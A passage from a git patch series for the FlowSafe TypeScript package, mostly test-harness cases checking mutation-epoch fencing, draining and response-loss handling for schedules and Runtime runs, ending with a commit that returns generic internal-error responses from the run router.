P3RunState { + snapshots: Array>; + keys: Array>; + owners: Array>; +} + +interface P3RunResult { + response: P3Response; + capturedEpoch: number | null; + gateHits: number; + initialBatches: number; + before: P3RunState; + intervened: P3RunState; + after: P3RunState; + positiveRows: P3RunState; + effectsAfterRequest: number; + effects: number; + cachedAfterRequest: boolean; + activeAfterRequest: boolean; + positive?: { status: string; result: { value: string } }; + fenceBeforeRelease: P3Fence; + fenceAfter: P3Fence; + metrics: Record; +} + +interface P3StructuralFence { + rows: Array>; + schema: Array>; +} + +interface P3StructuralRunResult extends Omit { + fenceAfter?: P3Fence; + structural: { + fixture: string; + proof: boolean; + responseLosses: number; + initialBatchRows: number[]; + before: P3StructuralFence; + intervened: P3StructuralFence; + after: P3StructuralFence; + }; +} + +function expectP3StructuralRefusal( + outcome: P3StructuralRunResult, + keyed: boolean, + lostResponse = false, +) { + expect(outcome.response.status, JSON.stringify(outcome.response.body)).toBe( + 503, + ); + expect(outcome.response.body.reason).toEqual({ + code: 'EXECUTION_FENCE_UNREADABLE', + }); + expect(outcome.gateHits).toBe(1); + expect(outcome.initialBatches).toBe(1); + expect(outcome.capturedEpoch).toBe(2); + expect(outcome.effectsAfterRequest).toBe(0); + expect(outcome.effects).toBe(0); + expect(outcome.activeAfterRequest).toBe(false); + expect(outcome.after.snapshots).toEqual([]); + expect(outcome.after.owners).toEqual(outcome.before.owners); + expect(JSON.stringify(outcome.structural.after)).toBe( + JSON.stringify(outcome.structural.intervened), + ); + expect(outcome.structural.initialBatchRows).toEqual( + keyed ? [0, 0, 0] : [0, 0], + ); + if (!lostResponse) expect(outcome.cachedAfterRequest).toBe(false); + if (keyed) { + expect( + outcome.after.keys.find((row) => row.key === 'p3-key'), + ).toMatchObject({ + owner_id: 'p3-owner', + target_id: 'workflow-schedule', + run_id: 'p3-run', + state: lostResponse ? 'started' : 'reserved', + start_token: '', + start_table_prefix: null, + start_workflow_id: null, + }); + expect(outcome.after.keys.filter((row) => row.key !== 'p3-key')).toEqual( + outcome.before.keys, + ); + } else expect(outcome.after).toEqual(outcome.before); + if (lostResponse) expect(outcome.after).toEqual(outcome.intervened); + expectP3Metrics(outcome.metrics); +} + +const P3_OPERATIONS = [ + 'create', + 'update', + 'pause', + 'resume', + 'delete', + 'pause-noop', + 'resume-noop', +] as const; + +function expectP3Metrics(metrics: Record) { + for (const measured of Object.values(metrics)) { + expect(measured.statements).toBeLessThanOrEqual(1000); + expect(measured.maxSqlBytes).toBeLessThanOrEqual(90_000); + expect(measured.maxBindings).toBeLessThanOrEqual(100); + expect(measured.maxBoundStringBytes).toBeLessThanOrEqual(2_000_000); + } +} + +function expectP3EpochRefusal( + response: P3Response, + classification: string, + epoch: number, +) { + expect(response.status, JSON.stringify(response.body)).toBe(409); + expect(response.body.reason).toEqual({ + code: 'MUTATION_EPOCH_MISMATCH', + classification, + mutationEpoch: epoch, + }); +} + +function expectP3Preserved(result: P3ScheduleResult) { + expect(JSON.stringify(result.after)).toBe(JSON.stringify(result.intervened)); + expect(result.fenceAfter).toEqual(result.fenceBeforeRelease); + expectP3Metrics(result.metrics); +} + +function expectP3RunRefused(result: P3RunResult) { + expect(JSON.stringify(result.after)).toBe(JSON.stringify(result.before)); + expect(result.effectsAfterRequest).toBe(0); + expect(result.cachedAfterRequest).toBe(false); + expect(result.activeAfterRequest).toBe(false); + expect(result.after.snapshots).toEqual([]); + expect(result.positive).toMatchObject({ + status: 'success', + result: { value: 'positive' }, + }); + expect(result.effects).toBe(1); + expect(result.positiveRows.snapshots).toHaveLength(1); + expect(result.fenceAfter).toEqual(result.fenceBeforeRelease); + expectP3Metrics(result.metrics); +} + describe.sequential('FlowSafe Wrangler test harness', () => { let server: TestHarness; let spike: WorkerHandle; @@ -152,8 +404,35 @@ describe.sequential('FlowSafe Wrangler test harness', () => { await server.listen(); }); + async function prepareP3() { + const reusable = p3Isolation.entered && p3Isolation.reusable; + p3Isolation.reusable = false; + if (reusable) { + probe = server.getWorker('flowsafe-harness-probe'); + expect(await result(probe, '/p3-cleanup')).toEqual({ remaining: [] }); + p3Isolation.cleanups++; + } else { + await server.reset(); + p3Isolation.resets++; + } + p3Isolation.entered = true; + probe = server.getWorker('flowsafe-harness-probe'); + await result(probe, '/seed'); + } + beforeEach(async ({ task }) => { + if (task.name.startsWith('FS8 P3')) { + await prepareP3(); + return; + } + const leavingP3 = p3Isolation.entered; + p3Isolation.entered = false; + p3Isolation.reusable = false; if (task.name.startsWith('FS8 E retention')) { + if (leavingP3) { + await server.reset(); + p3Isolation.resets++; + } // Scenario cleanup preserves the surrounding namespace census across requests. probe = server.getWorker('flowsafe-harness-probe'); await result(probe, '/seed'); @@ -161,6 +440,7 @@ describe.sequential('FlowSafe Wrangler test harness', () => { return; } await server.reset(); + if (leavingP3) p3Isolation.resets++; spike = server.getWorker('flowsafe-do-runner-demo'); deploy = server.getWorker('anchorage-flowsafe-replace-me'); alarmHarness = server.getWorker('flowsafe-maintenance-alarm-harness'); @@ -185,7 +465,706 @@ describe.sequential('FlowSafe Wrangler test harness', () => { }); afterAll(async () => { - await server.close(); + try { + if (p3Measurements.size) + console.info( + 'FS8 P3 D1 metrics', + JSON.stringify(Object.fromEntries(p3Measurements)), + ); + if (p3Isolation.resets) + console.info('FS8 P3 fixture isolation', JSON.stringify(p3Isolation)); + } finally { + await server.close(); + } + }); + + it.each([ + 'isolation-missing-witness', + 'unmatched', + ])('FS8 P3 resets the fixture after %s and reuses a settled request', async (scenario) => { + await expect(result(probe, `/epoch-p3/${scenario}`)).rejects.toThrow(); + expect(p3Isolation.reusable).toBe(false); + const resets = p3Isolation.resets; + await prepareP3(); + expect(p3Isolation.resets).toBe(resets + 1); + const first = await result<{ before: P3Fence }>( + probe, + '/epoch-p3/cas-loss', + ); + expect(first.before).toMatchObject({ + state: 'open', + mutationEpoch: 0, + transitionRevision: 0, + }); + const cleanups = p3Isolation.cleanups; + await prepareP3(); + expect(p3Isolation.cleanups).toBe(cleanups + 1); + const second = await result<{ before: P3Fence }>( + probe, + '/epoch-p3/cas-loss', + ); + expect(second.before).toEqual(first.before); + }); + + it.each( + P3_OPERATIONS.flatMap((operation) => + ['auth', 'final'].flatMap((phase) => + ['missing', 'stale'].map((epoch) => ({ operation, phase, epoch })), + ), + ), + )('FS8 P3 holds $operation at $phase across activation with $epoch epoch', async ({ + operation, + phase, + epoch, + }) => { + const outcome = await result( + probe, + `/epoch-p3/schedule?operation=${operation}&phase=${phase}&epoch=${epoch}&action=activate`, + ); + expectP3EpochRefusal(outcome.response, epoch, 1); + expect(outcome.gateHits).toBe(1); + expect(outcome.finalBatches).toBeGreaterThanOrEqual( + phase === 'final' ? 1 : 0, + ); + expect(outcome.fenceAfter).toMatchObject({ + state: 'open', + mutationEpoch: 1, + requireMutationEpoch: true, + }); + expect(outcome.audit).toMatchObject([ + { actorId: 'p3-owner', outcome: 'rejected' }, + ]); + expectP3Preserved(outcome); + }); + + it.each( + P3_OPERATIONS.flatMap((operation) => + ['missing', 'stale', 'future', 'current'].map((epoch) => ({ + operation, + epoch, + })), + ), + )('FS8 P3 enforces activated $epoch epoch on HTTP $operation', async ({ + operation, + epoch, + }) => { + const outcome = await result( + probe, + `/epoch-p3/schedule?operation=${operation}&epoch=${epoch}`, + ); + if (epoch !== 'current') { + expectP3EpochRefusal(outcome.response, epoch, 2); + expectP3Preserved(outcome); + } else { + expect( + outcome.response.status, + JSON.stringify(outcome.response.body), + ).toBe(operation === 'create' ? 201 : 200); + expect(outcome.audit).toMatchObject([ + { actorId: 'p3-owner', outcome: 'accepted' }, + ]); + if (operation.endsWith('-noop')) expectP3Preserved(outcome); + else + expect(JSON.stringify(outcome.after)).not.toBe( + JSON.stringify(outcome.before), + ); + if (operation === 'create') { + expect(outcome.after.schedules).toHaveLength(2); + expect(outcome.after.owners).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + resource_id: outcome.response.body.schedule?.id, + owner_id: 'p3-owner', + }), + ]), + ); + } + if (operation === 'delete') + expect(outcome.after).toEqual({ + schedules: [], + triggers: [], + owners: [], + }); + } + expectP3Metrics(outcome.metrics); + }); + + it.each( + P3_OPERATIONS, + )('FS8 P3 preserves draining policy for exact HTTP %s', async (operation) => { + const outcome = await result( + probe, + `/epoch-p3/schedule?operation=${operation}&closed=true`, + ); + expect(outcome.reads?.list.status).toBe(200); + expect(outcome.reads?.get.status).toBe(operation === 'delete' ? 404 : 200); + expect(outcome.reads?.history.status).toBe( + operation === 'delete' ? 404 : 200, + ); + if ( + operation === 'pause' || + operation === 'pause-noop' || + operation === 'delete' + ) { + expect( + outcome.response.status, + JSON.stringify(outcome.response.body), + ).toBe(200); + } else { + expect(outcome.response.status).toBe(503); + expect(outcome.response.body.reason?.code).toBe('EXECUTION_FENCED'); + expectP3Preserved(outcome); + } + }); + + it.each( + P3_OPERATIONS, + )('FS8 P3 admits exact %s through the final gate without a transition', async (operation) => { + const outcome = await result( + probe, + `/epoch-p3/schedule?operation=${operation}&phase=final`, + ); + expect(outcome.gateHits).toBe(1); + expect(outcome.finalBatches).toBe(1); + expect(outcome.response.status, JSON.stringify(outcome.response.body)).toBe( + operation === 'create' ? 201 : 200, + ); + if (operation.endsWith('-noop')) expectP3Preserved(outcome); + expectP3Metrics(outcome.metrics); + }); + + it.each( + P3_OPERATIONS, + )('FS8 P3 refuses exact %s after a same-epoch final-frame cycle', async (operation) => { + const outcome = await result( + probe, + `/epoch-p3/schedule?operation=${operation}&phase=final&action=cycle`, + ); + expect(outcome.gateHits).toBe(1); + expect(outcome.response.status).toBe(409); + expect(outcome.response.body.reason).toEqual({ + code: 'SCHEDULE_MUTATION_CONFLICT', + classification: 'fence-changed', + }); + expectP3Preserved(outcome); + }); + + it.each( + P3_OPERATIONS, + )('FS8 P3 refuses formerly exact %s after the next artifact activates', async (operation) => { + const outcome = await result( + probe, + `/epoch-p3/schedule?operation=${operation}&phase=final&action=advance`, + ); + expectP3EpochRefusal(outcome.response, 'stale', 3); + expect(outcome.gateHits).toBe(1); + expectP3Preserved(outcome); + }); + + it.each([ + 'create', + 'pause', + 'resume-noop', + ])('FS8 P3 keeps the original missing actor epoch while %s waits', async (operation) => { + const outcome = await result( + probe, + `/epoch-p3/schedule?operation=${operation}&phase=auth&epoch=missing&action=capture`, + ); + expectP3EpochRefusal(outcome.response, 'missing', 2); + expect(outcome.gateHits).toBe(1); + expect(outcome.audit).toMatchObject([ + { actorId: 'p3-owner', outcome: 'rejected' }, + ]); + expectP3Preserved(outcome); + }); + + it('FS8 P3 keeps a captured current actor while the resolver result changes', async () => { + const captured = await result( + probe, + '/epoch-p3/schedule?operation=create&phase=auth&action=capture', + ); + expect( + captured.response.status, + JSON.stringify(captured.response.body), + ).toBe(201); + expect(captured.audit).toMatchObject([ + { actorId: 'p3-owner', outcome: 'accepted' }, + ]); + expect(captured.after.owners).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + resource_id: captured.response.body.schedule?.id, + owner_id: 'p3-owner', + }), + ]), + ); + }); + + it.each( + P3_OPERATIONS, + )('FS8 P3 refuses an invalid trusted epoch on %s', async (operation) => { + const outcome = await result( + probe, + `/epoch-p3/schedule?operation=${operation}&epoch=invalid`, + ); + expect(outcome.response.status).toBe(400); + expect(outcome.response.body.reason?.code).toBe('INVALID_MUTATION_EPOCH'); + expectP3Preserved(outcome); + }); + + it.each([ + 'body', + 'header', + 'stored', + ])('FS8 P3 does not obtain schedule authority from %s input', async (injection) => { + const outcome = await result( + probe, + `/epoch-p3/schedule?operation=create&epoch=missing&injection=${injection}`, + ); + if (injection === 'stored') + expectP3EpochRefusal(outcome.response, 'missing', 2); + else + expect(outcome.response.status).toBe(injection === 'header' ? 403 : 400); + expectP3Preserved(outcome); + }); + + it.each([ + 16384, 16385, + ])('FS8 P3 applies the HTTP UTF-8 body bound at %i bytes', async (bytes) => { + const outcome = await result( + probe, + `/epoch-p3/schedule?operation=create&bytes=${bytes}`, + ); + expect(outcome.bodyBytes).toBe(bytes); + expect(outcome.response.status, JSON.stringify(outcome.response.body)).toBe( + bytes === 16384 ? 201 : 413, + ); + if (bytes > 16384) { + expect(outcome.finalBatches).toBe(0); + expectP3Preserved(outcome); + } + expectP3Metrics(outcome.metrics); + }); + + it('FS8 P3 does not grant draining authoring through a paused PATCH', async () => { + const outcome = await result( + probe, + '/epoch-p3/schedule?operation=update&closed=true&patchPaused=true', + ); + expect(outcome.response.status).toBe(503); + expect(outcome.response.body.reason?.code).toBe('EXECUTION_FENCED'); + expectP3Preserved(outcome); + }); + + it('FS8 P3 distinguishes a current cap refusal from epoch refusal', async () => { + const outcome = await result( + probe, + '/epoch-p3/schedule?operation=create&cap=true', + ); + expect(outcome.response.status).toBe(400); + expect(outcome.audit).toMatchObject([{ outcome: 'rejected' }]); + expectP3Preserved(outcome); + }); + + it('FS8 P3 rejects a held resume after its cron configuration changes', async () => { + const outcome = await result( + probe, + '/epoch-p3/schedule?operation=resume&phase=final&action=resume-race', + ); + expect(outcome.response.status).toBe(409); + expect(outcome.response.body.reason).toEqual({ + code: 'SCHEDULE_MUTATION_CONFLICT', + classification: 'schedule-changed', + }); + expect(outcome.intervened.schedules[0]).toMatchObject({ + cron: '*/5 * * * *', + timezone: 'UTC', + status: 'paused', + }); + expectP3Preserved(outcome); + expect(outcome.positive?.status).toBe(200); + expect(outcome.positiveState?.schedules[0]).toMatchObject({ + cron: '*/5 * * * *', + timezone: 'UTC', + status: 'active', + }); + }); + + it('FS8 P3 preserves a held deferred deletion and its raw history across activation', async () => { + const outcome = await result( + probe, + '/epoch-p3/schedule?operation=delete&phase=final&epoch=missing&action=activate&deferred=true', + ); + expectP3EpochRefusal(outcome.response, 'missing', 1); + expect(outcome.after.schedules[0]?.deletionRequestedAt).toBeNull(); + expect(outcome.after.triggers[0]?.outcome).toBe('deferred'); + expect(outcome.after.owners).toHaveLength(1); + expectP3Preserved(outcome); + }); + + it('FS8 P3 settles an admitted deferred deletion after another epoch closes', async () => { + const outcome = await result( + probe, + '/epoch-p3/schedule?operation=delete&closed=true&deferred=true', + ); + expect(outcome.response.status).toBe(202); + expect(outcome.after.schedules[0]).toMatchObject({ + status: 'paused', + deletionRequestedAt: expect.any(Number), + }); + expect(outcome.after.owners).toHaveLength(1); + expect(outcome.settled).toEqual({ + schedules: [], + triggers: [], + owners: [], + }); + expect(outcome.fenceAfter).toMatchObject({ + state: 'draining', + mutationEpoch: 3, + requireMutationEpoch: true, + }); + expectP3Metrics(outcome.metrics); + }); + + it('FS8 P3 deletes populated trigger history with a bounded mutation result', async () => { + const outcome = await result( + probe, + '/epoch-p3/schedule?operation=delete&history=true', + ); + expect(outcome.before.triggers).toHaveLength(120); + expect(outcome.response.status).toBe(200); + expect(outcome.after).toEqual({ schedules: [], triggers: [], owners: [] }); + expect(outcome.metrics.mutation?.maxResultBytes).toBeLessThan(10_000); + expectP3Metrics(outcome.metrics); + }); + + it.each( + ['auth', 'final'].flatMap((phase) => + ['missing', 'stale'].map((epoch) => ({ phase, epoch })), + ), + )('FS8 P3 holds real Runtime at $phase across activation with $epoch epoch', async ({ + phase, + epoch, + }) => { + const outcome = await result( + probe, + `/epoch-p3/run?phase=${phase}&epoch=${epoch}&action=activate`, + ); + expectP3EpochRefusal(outcome.response, epoch, 1); + expect(outcome.gateHits).toBe(1); + expect(outcome.initialBatches).toBe(phase === 'final' ? 1 : 0); + expect(outcome.capturedEpoch).toBe(epoch === 'missing' ? null : 0); + expectP3RunRefused(outcome); + }); + + it.each([ + 'missing', + 'stale', + 'future', + 'current', + 'invalid', + ])('FS8 P3 checks %s epoch through real Runtime and D1', async (epoch) => { + const outcome = await result( + probe, + `/epoch-p3/run?epoch=${epoch}`, + ); + if (epoch === 'current') { + expect( + outcome.response.status, + JSON.stringify(outcome.response.body), + ).toBe(200); + expect(outcome.response.body.result).toEqual({ value: 'original' }); + expect(outcome.effectsAfterRequest).toBe(1); + expect(outcome.after.snapshots).toHaveLength(1); + } else if (epoch === 'invalid') { + expect(outcome.response.status).toBe(400); + expect(outcome.response.body.reason?.code).toBe('INVALID_MUTATION_EPOCH'); + expect(outcome.effects).toBe(0); + expect(outcome.after).toEqual(outcome.before); + } else { + expectP3EpochRefusal(outcome.response, epoch, 2); + expectP3RunRefused(outcome); + } + expectP3Metrics(outcome.metrics); + }); + + it.each([ + 'auth', + 'final', + 'provider', + ])('FS8 P3 executes the current Runtime through its %s gate', async (phase) => { + const outcome = await result( + probe, + `/epoch-p3/run?phase=${phase}`, + ); + expect(outcome.response.status, JSON.stringify(outcome.response.body)).toBe( + 200, + ); + expect(outcome.gateHits).toBe(1); + expect(outcome.initialBatches).toBe(1); + expect(outcome.effectsAfterRequest).toBe(1); + expect(outcome.response.body.result).toEqual({ value: 'original' }); + expectP3Metrics(outcome.metrics); + }); + + it('FS8 P3 prevents engine entry after a same-epoch final-frame cycle', async () => { + const outcome = await result( + probe, + '/epoch-p3/run?phase=final&action=cycle', + ); + expect(outcome.response.status).toBe(409); + expect(outcome.response.body.reason).toEqual({ + code: 'RUN_ADMISSION_CONFLICT', + classification: 'fence-changed', + }); + expectP3RunRefused(outcome); + }); + + it.each( + ['schema-extension', 'null-singleton'].flatMap((structure) => + [false, true].map((proof) => ({ structure, proof })), + ), + )('FS8 P3 structural Runtime refuses $structure at final D1 with proof $proof', async ({ + structure, + proof, + }) => { + const outcome = await result( + probe, + `/epoch-p3/run?phase=final&structure=${structure}&proof=${proof}`, + ); + expectP3StructuralRefusal(outcome, proof); + const prior = outcome.structural.before; + const changed = outcome.structural.intervened; + if (structure === 'schema-extension') { + expect(changed.schema).toHaveLength(prior.schema.length + 1); + expect(changed.schema.at(-1)).toMatchObject({ + name: 'p3_shape', + type: 'TEXT', + }); + expect(changed.rows).toHaveLength(1); + } else { + expect(changed.schema).toEqual(prior.schema); + expect( + changed.schema.find((column) => column.name === 'id'), + ).toMatchObject({ type: 'TEXT', notnull: 0, pk: 1 }); + expect(changed.rows).toHaveLength(2); + expect(changed.rows.filter((row) => row.id === null)).toHaveLength(1); + } + const deployment = changed.rows.find((row) => row.id === 'deployment'); + expect(deployment).toMatchObject({ + mutation_epoch: 2, + require_mutation_epoch: 1, + proof_run_id: null, + proof_start_token: null, + }); + expect(outcome.structural.responseLosses).toBe(0); + }); + + it('FS8 P3 structural Runtime keeps refused batch participants unchanged after response loss', async () => { + const outcome = await result( + probe, + '/epoch-p3/run?phase=final&structure=schema-extension&keyed=true&loss=true', + ); + expectP3StructuralRefusal(outcome, true, true); + expect(outcome.structural.responseLosses).toBe(1); + }); + + it.each([ + { proof: false, loss: false, afterAdmission: 'none' }, + { proof: true, loss: false, afterAdmission: 'none' }, + { proof: false, loss: true, afterAdmission: 'advance' }, + { proof: true, loss: true, afterAdmission: 'none' }, + { proof: true, loss: false, afterAdmission: 'advance' }, + ])('FS8 P3 structural Runtime admits valid current proof $proof loss $loss after $afterAdmission', async ({ + proof, + loss, + afterAdmission, + }) => { + const outcome = await result( + probe, + `/epoch-p3/run?phase=final&structure=none&proof=${proof}&loss=${loss}&afterAdmission=${afterAdmission}`, + ); + expect(outcome.response.status, JSON.stringify(outcome.response.body)).toBe( + 200, + ); + expect(outcome.response.body.result).toEqual({ value: 'original' }); + expect(outcome.gateHits).toBe(1); + expect(outcome.initialBatches).toBe(1); + expect(outcome.capturedEpoch).toBe(2); + expect(outcome.effectsAfterRequest).toBe(1); + expect(outcome.effects).toBe(1); + expect(outcome.activeAfterRequest).toBe(false); + expect(outcome.after.snapshots).toHaveLength(1); + expect(outcome.structural.initialBatchRows).toEqual( + proof ? [1, 1, 1] : [1, 0], + ); + expect(outcome.structural.responseLosses).toBe(loss ? 1 : 0); + const snapshot = JSON.parse(String(outcome.after.snapshots[0]?.snapshot)); + const provenance = snapshot.requestContext['flowsafe.runProvenance']; + expect(provenance).toMatchObject({ + mutationEpoch: 2, + requestedBy: 'p3-owner', + startToken: expect.any(String), + }); + if (proof) { + expect( + outcome.after.keys.find((row) => row.key === 'p3-key'), + ).toMatchObject({ + state: 'terminal', + start_token: provenance.startToken, + start_table_prefix: 'p3_', + start_workflow_id: 'workflow-schedule', + }); + expect(outcome.after.keys.filter((row) => row.key !== 'p3-key')).toEqual( + outcome.before.keys, + ); + } else expect(outcome.after.keys).toEqual(outcome.before.keys); + expect(outcome.after.owners).toEqual(outcome.before.owners); + if (afterAdmission === 'advance') { + expect(outcome.fenceAfter).toMatchObject({ + state: 'open', + mutationEpoch: 3, + requireMutationEpoch: true, + }); + } else { + expect(outcome.fenceAfter).toMatchObject({ + state: proof ? 'proof-only' : 'open', + mutationEpoch: 2, + requireMutationEpoch: true, + }); + if (proof) + expect(outcome.structural.after.rows[0]).toMatchObject({ + proof_run_id: 'p3-run', + proof_start_token: provenance.startToken, + proof_table_prefix: 'p3_', + proof_workflow_id: 'workflow-schedule', + }); + } + expectP3Metrics(outcome.metrics); + }); + + it('FS8 P3 refuses a formerly exact Runtime after the next artifact activates', async () => { + const outcome = await result( + probe, + '/epoch-p3/run?phase=final&action=advance', + ); + expectP3EpochRefusal(outcome.response, 'stale', 3); + expectP3RunRefused(outcome); + }); + + it('FS8 P3 keeps the missing Runtime epoch captured before host policy awaits', async () => { + const outcome = await result( + probe, + '/epoch-p3/run?phase=auth&epoch=missing&action=capture', + ); + expectP3EpochRefusal(outcome.response, 'missing', 2); + expect(outcome.capturedEpoch).toBeNull(); + expectP3RunRefused(outcome); + }); + + it('FS8 P3 keeps captured Runtime options while the provider waits', async () => { + const outcome = await result( + probe, + '/epoch-p3/run?phase=provider&action=capture', + ); + expect(outcome.response.status, JSON.stringify(outcome.response.body)).toBe( + 200, + ); + expect(outcome.capturedEpoch).toBe(2); + expect(outcome.response.body.result).toEqual({ value: 'original' }); + expect(outcome.effectsAfterRequest).toBe(1); + const snapshot = JSON.parse(String(outcome.after.snapshots[0]?.snapshot)); + expect(snapshot.requestContext['flowsafe.runProvenance']).toMatchObject({ + mutationEpoch: 2, + requestedBy: 'p3-owner', + }); + }); + + it('FS8 P3 refuses a current Runtime start while draining', async () => { + const outcome = await result( + probe, + '/epoch-p3/run?closed=true', + ); + expect(outcome.response.status).toBe(503); + expect(outcome.response.body.reason?.code).toBe('EXECUTION_FENCED'); + expect(outcome.effects).toBe(0); + expect(outcome.after).toEqual(outcome.before); + }); + + it('FS8 P3 releases the original keyed claim after final-D1 epoch refusal', async () => { + const outcome = await result( + probe, + '/epoch-p3/run?phase=final&epoch=missing&action=activate&keyed=true', + ); + expectP3EpochRefusal(outcome.response, 'missing', 1); + expect(outcome.effects).toBe(0); + expect(outcome.after.snapshots).toEqual([]); + expect(outcome.after.owners).toEqual(outcome.before.owners); + expect( + outcome.after.keys.find((row) => row.key === 'p3-key'), + ).toMatchObject({ + key: 'p3-key', + state: 'reserved', + owner_id: 'p3-owner', + run_id: 'p3-run', + start_token: '', + }); + expect(outcome.after.keys.filter((row) => row.key !== 'p3-key')).toEqual( + outcome.before.keys, + ); + expect(outcome.activeAfterRequest).toBe(false); + expect(outcome.cachedAfterRequest).toBe(false); + expectP3Metrics(outcome.metrics); + }); + + it('FS8 P3 settles a current keyed Runtime execution', async () => { + const outcome = await result( + probe, + '/epoch-p3/run?keyed=true', + ); + expect(outcome.response.status, JSON.stringify(outcome.response.body)).toBe( + 200, + ); + expect(outcome.effects).toBe(1); + expect( + outcome.after.keys.find((row) => row.key === 'p3-key'), + ).toMatchObject({ + key: 'p3-key', + state: 'terminal', + owner_id: 'p3-owner', + run_id: 'p3-run', + start_token: expect.any(String), + }); + expect(outcome.after.keys.filter((row) => row.key !== 'p3-key')).toEqual( + outcome.before.keys, + ); + expectP3Metrics(outcome.metrics); + }); + + it('FS8 P3 converges a committed D1 CAS after response loss', async () => { + const outcome = await result<{ + losses: number; + before: P3Fence; + afterCommit: P3Fence; + retry: P3Fence; + rawAfterCommit: unknown; + rawAfterRetry: unknown; + conflict: { code: string }; + metrics: P3Metrics; + }>(probe, '/epoch-p3/cas-loss'); + expect(outcome.losses).toBe(1); + expect(outcome.afterCommit).toMatchObject({ + state: 'draining', + mutationEpoch: outcome.before.mutationEpoch + 1, + transitionRevision: outcome.before.transitionRevision + 1, + requireMutationEpoch: true, + }); + expect(outcome.retry).toEqual(outcome.afterCommit); + expect(JSON.stringify(outcome.rawAfterRetry)).toBe( + JSON.stringify(outcome.rawAfterCommit), + ); + expect(outcome.conflict.code).toBe('FENCE_CAS_CONFLICT'); + expectP3Metrics({ cas: outcome.metrics }); }); it('boots the full spike and initializes D1ApprovalStore', async () => { @@ -370,7 +1349,7 @@ describe.sequential('FlowSafe Wrangler test harness', () => { loserOwner?: unknown; claimWinners: number; claimTriggers: unknown[]; - rollbackError: string; + rollbackError: { reason: { code: string }; cause: string }; rollbackSchedule: { id: string }; rollbackTriggers: unknown[]; rollbackOwner: { kind: string; id: string }; @@ -378,7 +1357,7 @@ describe.sequential('FlowSafe Wrangler test harness', () => { deletedSchedule: null; deletedTriggers: unknown[]; deletedOwner?: unknown; - ownerInsertError: string; + ownerInsertError: { reason: { code: string }; cause: string }; ownerFailureSchedule: null; ownerFailureOwner?: unknown; }>(probe, '/schedule'); @@ -389,7 +1368,12 @@ describe.sequential('FlowSafe Wrangler test harness', () => { expect(outcome.loserOwner).toBeUndefined(); expect(outcome.claimWinners).toBe(1); expect(outcome.claimTriggers).toHaveLength(1); - expect(outcome.rollbackError).toMatch(/injected owner delete failure/); + expect(outcome.rollbackError.reason).toEqual({ + code: 'SCHEDULE_MUTATION_OUTCOME_UNKNOWN', + }); + expect(outcome.rollbackError.cause).toMatch( + /injected owner delete failure/, + ); expect(outcome.rollbackSchedule.id).toBe('schedule-rollback'); expect(outcome.rollbackTriggers).toHaveLength(1); expect(outcome.rollbackOwner).toEqual({ kind: 'human', id: 'opal' }); @@ -397,7 +1381,12 @@ describe.sequential('FlowSafe Wrangler test harness', () => { expect(outcome.deletedSchedule).toBeNull(); expect(outcome.deletedTriggers).toEqual([]); expect(outcome.deletedOwner).toBeUndefined(); - expect(outcome.ownerInsertError).toMatch(/injected owner insert failure/); + expect(outcome.ownerInsertError.reason).toEqual({ + code: 'SCHEDULE_MUTATION_OUTCOME_UNKNOWN', + }); + expect(outcome.ownerInsertError.cause).toMatch( + /injected owner insert failure/, + ); expect(outcome.ownerFailureSchedule).toBeNull(); expect(outcome.ownerFailureOwner).toBeUndefined(); }); From a027f1350d72a570f73cdcd2d6bf9eca351d7af7 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 05:24:29 +0400 Subject: [PATCH 094/169] fix(flowsafe): redact unexpected run-router errors and retain diagnostics --- .../flowsafe-run-router-internal-errors.md | 5 + docs/do-runner-design.md | 4 +- .../flowsafe/src/host-kit/run-route-error.ts | 28 +---- .../flowsafe/src/host-kit/run-router.test.ts | 119 +++++++++++++++--- packages/flowsafe/src/host-kit/run-router.ts | 11 +- .../flowsafe/src/internal-error-response.ts | 25 ++-- 6 files changed, 132 insertions(+), 60 deletions(-) create mode 100644 .changeset/flowsafe-run-router-internal-errors.md diff --git a/.changeset/flowsafe-run-router-internal-errors.md b/.changeset/flowsafe-run-router-internal-errors.md new file mode 100644 index 00000000..9d655186 --- /dev/null +++ b/.changeset/flowsafe-run-router-internal-errors.md @@ -0,0 +1,5 @@ +--- +'@proofoftech/flowsafe': patch +--- + +Return a generic internal-error response for unexpected run-router failures while retaining the original error in server diagnostics. Preserve typed refusal status, message and reason contracts. Contain diagnostic conversion and logging failures so they cannot prevent the generic HTTP response. diff --git a/docs/do-runner-design.md b/docs/do-runner-design.md index 4c7b00be..d9efb3a6 100644 --- a/docs/do-runner-design.md +++ b/docs/do-runner-design.md @@ -489,12 +489,12 @@ The runner preserves stable statuses and structured refusal reasons across Durab | `InvalidStartIdempotencyRequestError` | `400` | `INVALID_START_IDEMPOTENCY_REQUEST` | The key or reservation request is malformed | | `InvalidInventoryRequestError` | `400` | `INVALID_INVENTORY_REQUEST` | The category, cursor, or limit is invalid | -`isStartReservationRefusal()` recognizes the five reservation decisions, unsupported wiring, and malformed input. It excludes `StartReservationUnreadableError`, which propagates as an operational storage failure. - The runtime also distinguishes unknown workflows, unknown runs, duplicate runs, runs that are not suspended, client-fixable input or resume-data errors, and internal execution or storage failures. The Durable Object maps known errors to stable HTTP status codes through `doErrorResponse()`. Unknown failures return an internal error without copying arbitrary thrown data to an audit sink. +`createRunRouter()` returns HTTP 500 with `{ "error": "internal error" }` for unexpected failures and retains the original error in server diagnostics. Its typed refusals preserve their status, message and reason. Hosts that construct `RunRouteError` must supply caller-safe, JSON-compatible message/reason values; the router does not sanitize them. Runtime-authored `RunLifecycleBlockedError.reason` reports `DISPUTED_SETTLEMENT` with a fixed message. A host that constructs that error is responsible for its supplied message too. + The runner does not provide an administrative “reset to last good state” API. Recovery uses authoritative D1 state, the approval redrive path, or deployment decommissioning. ## Retention diff --git a/packages/flowsafe/src/host-kit/run-route-error.ts b/packages/flowsafe/src/host-kit/run-route-error.ts index d634e49c..0bdde2f6 100644 --- a/packages/flowsafe/src/host-kit/run-route-error.ts +++ b/packages/flowsafe/src/host-kit/run-route-error.ts @@ -1,17 +1,9 @@ // SPDX-License-Identifier: Apache-2.0 -// Shared vocabulary between the DO-response reader and the run router: an error -// that already knows the HTTP status it should surface as. -// -// Its own leaf because both sides need it and neither should depend on the -// other — `doSummary` (do-response.ts) throws it, `createRunRouter` -// (run-router.ts) catches it. Homing it in the router would make the primitive -// depend on the composite. +// This leaf keeps the Durable Object response reader independent of the router. /** - * A transport failure from a host's run-lifecycle thunk, carrying the - * status to surface. Hosts that reach their runs through a Durable Object stub - * get this from 